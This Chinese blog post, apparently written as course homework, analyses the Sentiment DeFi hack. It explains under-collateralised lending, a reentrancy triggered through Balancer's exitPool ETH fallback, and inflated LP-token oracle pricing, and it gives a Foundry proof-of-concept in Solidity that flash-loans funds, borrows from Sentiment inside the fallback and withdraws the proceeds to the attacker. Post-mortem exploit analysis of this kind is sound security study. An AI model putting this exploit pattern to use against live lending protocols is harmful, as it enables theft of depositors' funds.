Sentiment的背景知识不足额抵押Sentiment特点就一句话不足额抵押。本文的代码可以在Github是下载:https://github.com/rickwang9/HackerAnalysis
<!--StartFragment-->
Sentiment 特点就一句话不足额抵押
。
超额抵押 众所周知,大部分借贷项目都是超额抵押,比如抵押价值120U的Token,然后最多能借贷100U,这就是超额抵押。原因也很简单,就怕借款人跑路。
不足额抵押
知道超额抵押,就会感觉不足额抵押
有点扯,难道项目是个慈善活动。开玩笑,项目方都是资本家,怎么可能犯傻,Sentiment做了保护,不足额抵押
的借贷token不会直接给用户,而是存到一个和用户一一对应的Account合约里,用户可以指挥Account拿着资产去其他defi比如aave,balance投资,但是不能取出来。
多说一句,不足额抵押
本质上也是解决流动性问题,提升资本利用效率。市场上,钱就那么多,谁能解决效率问题,钱就去哪里!
pair(B-33WETH-33WBTC-33USDC)
,存入50个ETH。pair(B-33WETH-33WBTC-33USDC)
,存入10,000个EWTH,606WBTC,18,000,000USDC。pair(B-33WETH-33WBTC-33USDC)
取款,存入5,000个ETH
,606WBTC,9,000,000USDC。(ETH
触发了fallback,从而引发了重入攻击。)fallback
在fallback
中,张三向Sentiment发起了借款,记得 step2的50个WETH的存款吗,此时有了LP Token,作为抵押物就可以借款。具体如下:
step4.1:借贷 461,00个USDC_e,361,00个USDT,81个WETH,125,000个FRAX。,再去Curve把FRAX换成USDC_e。
step4.2:通过Sentiment将step4.1 借到的钱,都借给AaveV3。
step4.3:将step4.2 借给AaveV3的钱,取出来给攻击人自己。通过Sentiment,到Balancer的pair(B-33WETH-33WBTC-33USDC)
,存入50个ETH。
绕过Sentiment,亲自到Balancer的pair(B-33WETH-33WBTC-33USDC)
,存入10,000个EWTH,606WBTC,18,000,000USDC。
攻击者到Balancer的pair(B-33WETH-33WBTC-33USDC)
取款,取走所有存款。(ETH
触发了fallback,从而引发了重入攻击。)
注意,step3没有执行完,逻辑就进入了step4fallback
!!!
<br>
fallback
解析在fallback
中,张三向Sentiment发起了借款,记得 step2的50个WETH的存款吗,此时有了LP Token,作为抵押物就可以借款。但是能多少呢?需要一个Balancer给出LP的定价。定价的活就是WeightedBalancerLPOracle
来负责。
归还闪电贷,攻击结束。 没啥说的,就一点别忘记approve。归还闪电贷有两类:1你主动转账归还 2你approve,债主主动来扣钱。AaveV3是后者,所以记得approve。
前面讲了整个流程,但是价格的问题一带而过,这个问题值得单独讲讲。
step1向Balancer存钱,step2向Balancer存钱,step3把step2在Balance存的钱取出来,这些钱包括ETH,引发隐式调用fallback,在fallback中开启借借借模式。
翻译成人话:step1存钱,得到了一定数量的Lp Token,作为抵押品。如果这些LP Token价值100U,你就可以抵押金额为100U,来计算借款额度。如果这些LP Token价值10000U,你就可以抵押金额为10000U,来计算借款额度。
因为借款的那个时间点,此时此刻,LP Token的价值突然暴力拉升。
分子没变,分母却变小了。
trace信息可以提取出如下数据:
流程和价格都分析完了,写POC就简单了。
<!--StartFragment-->
SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation)\ SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot\ SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)
工程里有大量POC代码,非常推荐!!!
function testExploit() public {
address[] memory assets = new address[](3);
assets[0] = address(WBTC);
assets[1] = address(WETH);
assets[2] = address(USDC_e);
uint[] memory amounts = new uint[](3);
amounts[0] = 606e8;
// amounts[1] = 10050e18;
amounts[1] = 10_050.1e18;
amounts[2] = 18_000_000e6;
uint[] memory interestRateModes = new uint[](3);
interestRateModes[0]=0;
interestRateModes[1]=0;
interestRateModes[2]=0;
bytes memory params = new bytes(0);
console.log('before flashloan');
aaveV3Pool.flashLoan(address(this), assets, amounts, interestRateModes,address(this), abi.encode(''), 0);
finalInterest('after flashloan');
}
pair(B-33WETH-33WBTC-33USDC)
,存入50个ETH。下面的代码很长,主要是参数多,没有难度。值得细说的是data是怎么确定的? 不明白可以看 补充说明。
知道了如何解码 两种data,写下面代码就没有难度了。
address accountAddress;
function accountManagerExecJoinPool() internal{
accountAddress = accountManager.openAccount(address(this));
riskEngine = IRiskEngine(accountManager.riskEngine());
account = Account(accountAddress);
oracle = Oracle(riskEngine.oracle());
WETH.approve(address(accountManager), 50e18);
accountManager.deposit(accountAddress, address(WETH), 50e18);
accountManager.approve(accountAddress, address(WETH), address(balanceVault), 50e18);
bytes32 poolId = B_33WETH_33WBTC_33USDC_POOL.getPoolId();
address sender = accountAddress;
address recipient = accountAddress;
address[] memory assets = new address[](3);
assets[0] = address(WBTC);
assets[1] = address(WETH);
assets[2] = address(USDC_e);
uint[] memory maxAmountsIn = new uint[](3);
maxAmountsIn[0]=0;
maxAmountsIn[1]=50e18;
maxAmountsIn[2]=0;
bytes memory userData = abi.encode(uint8(1), maxAmountsIn, 0);
BalancerVault.JoinPoolRequest memory request = BalancerVault.JoinPoolRequest({
assets:assets,
maxAmountsIn:maxAmountsIn,
userData:userData,
fromInternalBalance:false
});
bytes memory data = abi.encodeWithSelector(balanceVault.joinPool.selector, poolId, sender, recipient, request);
accountManager.exec(accountAddress, address(balanceVault), 0, data);
}
pair(B-33WETH-33WBTC-33USDC)
,存入10,000个EWTH,606WBTC,18,000,000USDC。 function joinPool() internal{
WBTC.approve(address(balanceVault), 606e8);
WETH.approve(address(balanceVault), 10_000e18);
USDC_e.approve(address(balanceVault), 18_000_000e6);
bytes32 poolId = B_33WETH_33WBTC_33USDC_POOL.getPoolId();
address sender = address(this);//
address recipient = address(this);
address[] memory assets = new address[](3);
assets[0] = address(WBTC);
assets[1] = address(WETH);
assets[2] = address(USDC_e);
uint[] memory maxAmountsIn = new uint[](3);
maxAmountsIn[0] = 606e8;
maxAmountsIn[1] = 10_000e18;
maxAmountsIn[2] = 18_000_000e6;
bytes memory userData = abi.encode(uint8(1), maxAmountsIn, 0);
BalancerVault.JoinPoolRequest memory request = BalancerVault.JoinPoolRequest({
assets:assets,
maxAmountsIn:maxAmountsIn,
userData:userData,
fromInternalBalance:false
});
balanceVault.joinPool{value:0.1e18}(poolId, sender, recipient, request);
}
pair(B-33WETH-33WBTC-33USDC)
取款,取走所有。(ETH
触发了fallback,从而引发了重入攻击。) function exitPool() internal{
bytes32 poolId = B_33WETH_33WBTC_33USDC_POOL.getPoolId();
address sender = address(this);
address recipient = address(this);
address[] memory assets = new address[](3);
assets[0] = address(WBTC);
assets[1] = address(0);//
assets[2] = address(USDC_e);
uint[] memory minAmountsOut = new uint[](3);
minAmountsOut[0] = 606e8;
minAmountsOut[1] = 5_000e18;//
minAmountsOut[2] = 9_000_000e6;
uint tokenIn =balancerPoolToken.balanceOf(address(this));//
bytes memory userData = abi.encode(uint8(1), tokenIn);//
BalancerVault.ExitPoolRequest memory request = BalancerVault.ExitPoolRequest({
assets:assets,
minAmountsOut:minAmountsOut,
userData:userData,
toInternalBalance:false
});
balanceVault.exitPool(poolId, sender, payable(recipient), request);
WETH.deposit{value: address(this).balance}();
}
<!--StartFragment-->
fallback
在fallback
中,张三向Sentiment发起了借款,记得 step2的50个WETH的存款吗,此时有了LP Token,作为抵押物就可以借款。具体如下:
fallback() external payable {
console.log("fallback");
emit log_named_decimal_uint("fallback eth" , msg.value, 18);
if(count > 1){
accountManagerBorrow();
}
count++;
}
function accountManagerBorrow() public{
accountManager.borrow(address(accountAddress), address(USDC_e), 461_000 * 1e6);
accountManager.borrow(address(accountAddress), address(USDT), 361_000 * 1e6);
accountManager.borrow(address(accountAddress), address(WETH), 81e18);
accountManager.borrow(address(accountAddress), address(FRAX), 125_000 * 1e18);
accountManager.approve(address(accountAddress),address(FRAX), CurvePool_FRAXBP, type(uint).max);
accountManager.exec(address(accountAddress), CurvePool_FRAXBP, 0, abi.encodeWithSignature("exchange(int128,int128,uint256,uint256)", 0, 1, 120_000 * 1e18, 1));//exchange 稳定币
accountManager.approve(address(accountAddress),address(USDC_e), address(aaveV3Pool), type(uint).max);
accountManager.approve(address(accountAddress),address(USDT), address(aaveV3Pool), type(uint).max);
accountManager.approve(address(accountAddress),address(WETH), address(aaveV3Pool), type(uint).max);
accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDC_e), 580_000 * 1e6, address(accountAddress), 0));
accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDT), 360_000 * 1e6, address(accountAddress), 0));
accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(WETH), 80 * 1e18, address(accountAddress), 0));
accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(USDC_e), type(uint).max, address(this)));
accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(USDT), type(uint).max, address(this)));
accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(WETH), type(uint).max, address(this)));
}
AaveV3 自己扣款,你approve即可。
WETH.approve(address(aaveV3Pool), amounts[1]+premiums[1]);
USDC_e.approve(address(aaveV3Pool), amounts[2]+premiums[2]);
WBTC.approve(address(aaveV3Pool), amounts[0]+premiums[0]);
<!--EndFragment-->
看phaIcon是一串很长的字节数组:
这个可以用foundry命令解析:
cast 4byte-decode 0x.....
效果如下:
红色框就是解析出来的结果,
结果中还有一串字节数组(绿色框),注意这传数据不能再用
cast 4byte-decode 0x.....
解析,如何解析需要具体看Balancer代码逻辑。
拷贝如下代码(取自WeightedPoolUserDataHelpers.sol
)到remix:
enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }
function exactTokensInForBptOut(bytes memory self)
external
pure
returns (JoinKind value1, uint256[] memory amountsIn, uint256 minBPTAmountOut)
{
(value1, amountsIn, minBPTAmountOut) = abi.decode(self, (JoinKind, uint256[], uint256));
}
输入待解析的字节数组 解析结果如下: 于是有了
uint[] memory maxAmountsIn = new uint[](3);
maxAmountsIn[0]=0;
maxAmountsIn[1]=50e18;
maxAmountsIn[2]=0;
bytes memory userData = abi.encode(uint8(1), maxAmountsIn, 0);
<!--EndFragment-->
<!--StartFragment-->
<!--StartFragment-->
这是吴磊老师留的第六课作业,个人感觉因为涉及到了Balancer,是这几篇最难的。
<!--EndFragment-->
<!--EndFragment-->
<!--EndFragment-->
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!